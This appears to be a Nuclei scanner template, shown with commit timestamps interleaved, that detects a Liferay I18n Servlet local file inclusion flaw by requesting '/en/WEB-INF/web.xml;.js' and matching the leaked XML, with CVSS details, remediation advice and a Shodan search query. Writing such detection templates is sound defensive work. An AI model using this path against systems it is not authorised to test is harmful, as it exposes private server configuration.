2022-08-07 17:35:09 +00:00
id : liferay-resource-leak
info :
2023-01-16 17:41:15 +00:00
name : Liferay - Local File Inclusion
2022-08-07 17:35:09 +00:00
author : DhiyaneshDk
severity : high
description : |
2023-01-16 17:41:15 +00:00
Liferay is vulnerable to local file inclusion in the I18n Servlet because it leaks information via sending an HTTP request to /[language]/[resource];.js (also .jsp works).
2022-08-07 17:35:09 +00:00
remediation : Update Liferay to the latest version
reference :
- https://github.com/ilmila/J2EEScan/blob/master/src/main/java/burp/j2ee/issues/impl/LiferayI18nServletResourceLeaks.java
2023-01-16 17:41:15 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
cwe-id : CWE-22
2022-08-07 17:35:09 +00:00
metadata :
verified : true
shodan-query : title:"Liferay"
2022-08-08 20:05:34 +00:00
tags : liferay,lfi,j2ee
2022-08-07 17:35:09 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}/en/WEB-INF/web.xml;.js"
matchers-condition : and
matchers :
2022-08-08 20:05:34 +00:00
- type : word
2022-08-07 17:35:09 +00:00
part : body
2022-08-08 20:05:34 +00:00
words :
- "<web-app id="
- "<?xml"
condition : and
2022-08-07 17:35:09 +00:00
- type : word
2022-08-08 20:05:34 +00:00
part : header
2022-08-07 17:35:09 +00:00
words :
- "application/xml"
- type : status
status :
- 200
2023-01-16 17:41:15 +00:00
# Enhanced by mp on 2023/01/15
